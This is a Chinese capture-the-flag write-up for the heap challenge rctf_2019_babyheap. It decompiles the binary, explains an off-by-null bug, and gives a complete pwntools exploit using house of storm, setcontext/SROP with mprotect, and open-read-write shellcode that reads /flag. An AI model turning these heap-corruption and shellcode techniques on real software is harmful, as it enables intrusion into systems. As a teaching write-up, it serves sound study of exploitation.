同样是house of storm,但是如果程序开启了沙箱,禁用了system函数,那我们常规把hook函数改为system函数的方法就失效了, 若是沙箱没有禁用open,read,write函数,这里我们可以考虑用orw。
例题 rctf_2019_babyheap
保护全开,禁用了execve就是禁用了system,因为system函数通过调用execve函数才能执行。 看一下ida
main函数 可以看到是实现了四个功能,增改删查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int __cdecl main (int argc, const char **argv, const char **envp) { init (argc, argv, envp); while ( 1 ) { menu (); switch ( get_int () ) { case 1 : add (); break ; case 2 : edit (); break ; case 3 : delete (); break ; case 4 : show (); break ; case 5 : puts ("See you next time!" ); exit (0 ); default : puts ("Invalid choice!" ); break ; } } }
add函数 可以申请最大0x1000大小的chunk,最多申请16个chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 unsigned __int64 add () { void **v0; int i; int size; unsigned __int64 v4; v4 = __readfsqword(0x28 u); for ( i = 0 ; *(ptrs + 2 * i) && i <= 15 ; ++i ) ; if ( i == 16 ) { puts ("You can't" ); exit (-1 ); } printf ("Size: " ); size = get_int (); if ( size <= 0 || size > 0x1000 ) { puts ("Invalid size :(" ); } else { *(ptrs + 4 * i + 2 ) = size; v0 = (ptrs + 16 * i); *v0 = calloc (size, 1uLL ); puts ("Add success :)" ); } return __readfsqword(0x28 u) ^ v4; }
edit函数 存在off-by-null漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 edit () { unsigned int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); printf ("Index: " ); v1 = get_int (); if ( v1 <= 0xF && *(ptrs + 2 * v1) ) { printf ("Content: " ); *(*(ptrs + 2 * v1) + read_n (*(ptrs + 2 * v1), *(ptrs + 4 * v1 + 2 ))) = 0 ; puts ("Edit success :)" ); } else { puts ("Invalid index :(" ); } return __readfsqword(0x28 u) ^ v2; }
delete函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned __int64 delete () { unsigned int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); printf ("Index: " ); v1 = get_int (); if ( v1 <= 0xF && *(ptrs + 2 * v1) ) { free (*(ptrs + 2 * v1)); *(ptrs + 2 * v1) = 0LL ; *(ptrs + 4 * v1 + 2 ) = 0 ; puts ("Delete success :)" ); } else { puts ("Invalid index :(" ); } return __readfsqword(0x28 u) ^ v2; }
show函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned __int64 show () { unsigned int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); printf ("Index: " ); v1 = get_int (); if ( v1 <= 0xF && *(ptrs + 2 * v1) ) puts (*(ptrs + 2 * v1)); else puts ("Invalid index :(" ); return __readfsqword(0x28 u) ^ v2; }
思路 看了大佬的博客rctf_2019_babyheap ,这里对其进行详细的解析。 程序禁用了fastbin,且能申请最大为0x1000大小的chuck,可以使用house of storm,修改free_hook的地址为shellcode,执行shellcode,这里我们需要用orw来写shellcode,并且在这之前需要用mprotect函数修改free_hook段为可读可写可执行权限。
调试过程 先把前面的写好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 # coding=utf-8 from pwn import * #sh = remote("node4.buuoj.cn" , 29278 )sh = process('./rctf_2019_babyheap' ) context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) elf = ELF("./rctf_2019_babyheap" ) libc = ELF('../../libc-2.23.so--64' ) def dbg(): gdb.attach(sh ) pause() #命令简写化 s = lambda data :sh .send(data)sa = lambda delim,data :sh .sendafter(delim, data)sl = lambda data :sh .sendline(data)sla = lambda delim,data :sh .sendlineafter(delim, data) r = lambda num=4096 :sh .recv(num)ru = lambda delims :sh .recvuntil(delims) itr = lambda :sh .interactive() uu32 = lambda data :u32(data.ljust(4 ,'\0' )) uu64 = lambda data :u64(data.ljust(8 ,'\0' )) leak = lambda name,addr :log .success('{} = {:#x}' .format(name, addr))lg =lambda address,data:log .success('%s: ' %(address)+hex(data)) def add (size): ru ("Choice: \n" ) sl ('1' ) ru ("Size: " ) sl (str(size)) def free(index ): ru ("Choice: \n" ) sl ('3' ) ru ("Index: " ) sl (str(index )) def show(index ): ru ("Choice: \n" ) sl ('4' ) ru ("Index: " ) sl (str(index )) def edit (index , content): ru ("Choice: \n" ) sl ('2' ) ru ("Index: " ) sl (str(index )) ru ("Content: " ) s(content)
首先构造堆块重叠,泄露libc基地址 先申请四个chunk,申请的chunk真正大小分别为0x90,0x70,0x100,0x20, chunk_3是为了free前三个chunk后防止堆块合并
1 2 3 4 5 add (0 x80) #0 add (0 x68) #1 add (0 xf0) #2 add (0 x18) #3 dbg ()
之后free chunk_0,此时因为禁用了fastbin,所以chunk_0直接进入了unsortedbin里,再利用off-by-null漏洞修改chunk_2的pre_size为0x100(chunk_0+chunk_1正好就是0x100),修改chunk_2的size为0x100,使他处于free状态。
1 2 3 4 5 free (0 ) payload = 'a' *0 x60 + p64 (0 x100)edit (1 , payload) dbg ()
free chunk_2后,触发堆块前向合并,chunk_2的pre_size为是0x100,chunk_0和chunk_1加起来是0x100,就是前三个chunk合并。unsortedbin里存放着原chunk_0的起始地址。
此时chunk_1是没有被free的,然后我们再次申请0x80(原chunk_0大小)大小的chunk,此时原chunk_1的mem区域存放着main_arena+88,因为chunk_1并没有被free,所以我们直接调用show函数即可泄露libc基地址。
1 2 3 4 5 6 7 8 9 10 add (0 x80) #0 show (1 ) malloc_hook = u64 (ru ('\x7f' ).ljust (8 , '\x00' )) - 0 x58 - 0 x10 libc.address = malloc_hook - libc.sym ['__malloc_hook' ] system = libc.sym ['system' ] free_hook = libc.sym ['__free_hook' ] set_context = libc.symbols ['setcontext' ] lg ('libc_base' ,libc.address) dbg ()
构造unsortbin chunk 和largebin chunk,进行 house of strom 先申请0x160大小的chunk,将unsortbin中残余chunk清空,之后构造unsortbin chunk 和largebin chunk的调试过程请参考我另一篇文章House of storm 此时我们已以可以修改free_hook处的值了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 add (0 x18)#4 add (0 x508)#5 add (0 x18)#6 add (0 x18)#7 add (0 x508)#8 add (0 x18)#9 add (0 x18)#10 edit (5 , 'a'*0 x4f0+p64(0 x500))free (5 )edit (4 , 'a'*0 x18)add (0 x18)#5 add (0 x4d8)#11 free (5 )free (6 )add (0 x30)#5 add (0 x4e8)#6 edit (8 , 'a'*0 x4f0+p64(0 x500))free (8 )edit (7 , 'a'*0 x18)add (0 x18)#8 add (0 x4d8)#12 free (8 )free (9 )add (0 x40)#8 free (6 )add (0 x4e8)#6 free (6 )storage = free_hookfake_chunk = storage - 0 x20payload = '\x00'*0 x10 + p64(0 ) + p64(0 x4f1) + p64(0 ) + p64(fake_chunk)edit (11 , payload)payload = '\x00'*0 x20 + p64(0 ) + p64(0 x4e1) + p64(0 ) + p64(fake_chunk+8 ) +p64(0 ) + p64(fake_chunk-0 x18-5 )edit (12 , payload)add (0 x48)#6
mprotect+shellcode 修改free_hook为set_context+53,free_hook+0x18,free_hook+0x18,shellcode1, setcontext函数负责对各个寄存器进行赋值,甚至可以控制rip,对寄存器进行赋值主要从+53开始,shellcode1即为read(0, new_addr,0x1000),new_addr即为(free_hook &0xFFFFFFFFFFFFF000)free_hook所在内存页的起始位置。我们将对这里赋予可读可写可执行权限。
1 2 3 4 5 6 7 8 9 10 11 12 new_addr = free_hook &0xFFFFFFFFFFFFF000 shellcode1 = ''' xor rdi ,rdi mov rsi ,%dmov edx ,0x1000 mov eax ,0 syscall jmp rsi ''' % new_addr edit(6 , 'a' *0x10 +p64(set_context+53 )+p64(free_hook+0x18 )*2 +asm(shellcode1))
修改前 修改后
SROP 我们利用pwntools里的SigreturnFrame()执行mprotect(new_addr,0x1000,7),并将rsp跳转到 free_hook+0x10处,即0x00007f05935487c0,之后执行0x00007f05935487c0地址处的代码,即我们刚才写入的shellcode1,执行read(0, new_addr,0x1000),将我们构造的第二个shellcode写入0x00007f0593548000处 ,并将rip跳转到我们写的第二个shellcode处执行。
1 2 3 4 5 6 7 8 frame = SigreturnFrame () frame.rsp = free_hook+0 x10 frame.rdi = new_addr frame.rsi = 0 x1000 frame.rdx = 7 frame.rip = libc.sym ['mprotect' ] edit (12 , str(frame) )free (12 )
ORW 利用orw构造shellcode,发送过去并执行,获得shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 shellcode2 = ''' mov rax , 0x67616c662f push rax mov rdi , rsp mov rsi , 0 xor rdx , rdx mov rax , 2 syscall mov rdi , rax mov rsi ,rsp mov rdx , 1024 mov rax ,0 syscall mov rdi , 1 mov rsi , rsp mov rdx , rax mov rax , 1 syscall mov rdi , 0 mov rax , 60 syscall ''' sl(asm(shellcode2)) itr()
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 from pwn import * sh = process('./rctf_2019_babyheap' ) context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) elf = ELF("./rctf_2019_babyheap" ) libc = ELF('../../libc-2.23.so--64' )def dbg (): gdb.attach(sh) pause() s = lambda data :sh.send(data) sa = lambda delim,data :sh.sendafter(delim, data) sl = lambda data :sh.sendline(data) sla = lambda delim,data :sh.sendlineafter(delim, data) r = lambda num=4096 :sh.recv(num) ru = lambda delims :sh.recvuntil(delims) itr = lambda :sh.interactive() uu32 = lambda data :u32(data.ljust(4 ,'\0' )) uu64 = lambda data :u64(data.ljust(8 ,'\0' )) leak = lambda name,addr :log.success('{} = {:#x}' .format (name, addr)) lg=lambda address,data:log.success('%s: ' %(address)+hex (data)) def add (size ): ru("Choice: \n" ) sl('1' ) ru("Size: " ) sl(str (size))def free (index ): ru("Choice: \n" ) sl('3' ) ru("Index: " ) sl(str (index))def show (index ): ru("Choice: \n" ) sl('4' ) ru("Index: " ) sl(str (index))def edit (index, content ): ru("Choice: \n" ) sl('2' ) ru("Index: " ) sl(str (index)) ru("Content: " ) s(content)def pwn (): add(0x80 ) add(0x68 ) add(0xf0 ) add(0x18 ) free(0 ) payload = 'a' *0x60 + p64(0x100 ) edit(1 , payload) free(2 ) add(0x80 ) show(1 ) malloc_hook = u64(ru('\x7f' ).ljust(8 , '\x00' )) - 0x58 - 0x10 libc.address = malloc_hook - libc.sym['__malloc_hook' ] system = libc.sym['system' ] free_hook = libc.sym['__free_hook' ] set_context = libc.symbols['setcontext' ] lg('libc_base' ,libc.address) add(0x160 ) add(0x18 ) add(0x508 ) add(0x18 ) add(0x18 ) add(0x508 ) add(0x18 ) add(0x18 ) edit(5 , 'a' *0x4f0 +p64(0x500 )) free(5 ) edit(4 , 'a' *0x18 ) add(0x18 ) add(0x4d8 ) free(5 ) free(6 ) add(0x30 ) add(0x4e8 ) edit(8 , 'a' *0x4f0 +p64(0x500 )) free(8 ) edit(7 , 'a' *0x18 ) add(0x18 ) add(0x4d8 ) free(8 ) free(9 ) add(0x40 ) free(6 ) add(0x4e8 ) free(6 ) storage = free_hook fake_chunk = storage - 0x20 payload = '\x00' *0x10 + p64(0 ) + p64(0x4f1 ) + p64(0 ) + p64(fake_chunk) edit(11 , payload) payload = '\x00' *0x20 + p64(0 ) + p64(0x4e1 ) + p64(0 ) + p64(fake_chunk+8 ) +p64(0 ) + p64(fake_chunk-0x18 -5 ) edit(12 , payload) add(0x48 ) new_addr = free_hook &0xFFFFFFFFFFFFF000 shellcode1 = ''' xor rdi,rdi mov rsi,%d mov edx,0x1000 mov eax,0 syscall jmp rsi ''' % new_addr edit(6 , 'a' *0x10 +p64(set_context+53 )+p64(free_hook+0x18 )*2 +asm(shellcode1)) frame = SigreturnFrame() frame.rsp = free_hook+0x10 frame.rdi = new_addr frame.rsi = 0x1000 frame.rdx = 7 frame.rip = libc.sym['mprotect' ] edit(12 , str (frame)) free(12 ) shellcode2 = ''' mov rax, 0x67616c662f ;// /flag push rax mov rdi, rsp ;// /flag mov rsi, 0 ;// O_RDONLY xor rdx, rdx ; mov rax, 2 ;// SYS_open syscall mov rdi, rax ;// fd mov rsi,rsp ; mov rdx, 1024 ;// nbytes mov rax,0 ;// SYS_read syscall mov rdi, 1 ;// fd mov rsi, rsp ;// buf mov rdx, rax ;// count mov rax, 1 ;// SYS_write syscall mov rdi, 0 ;// error_code mov rax, 60 syscall ''' sl(asm(shellcode2)) dbg() itr() pwn()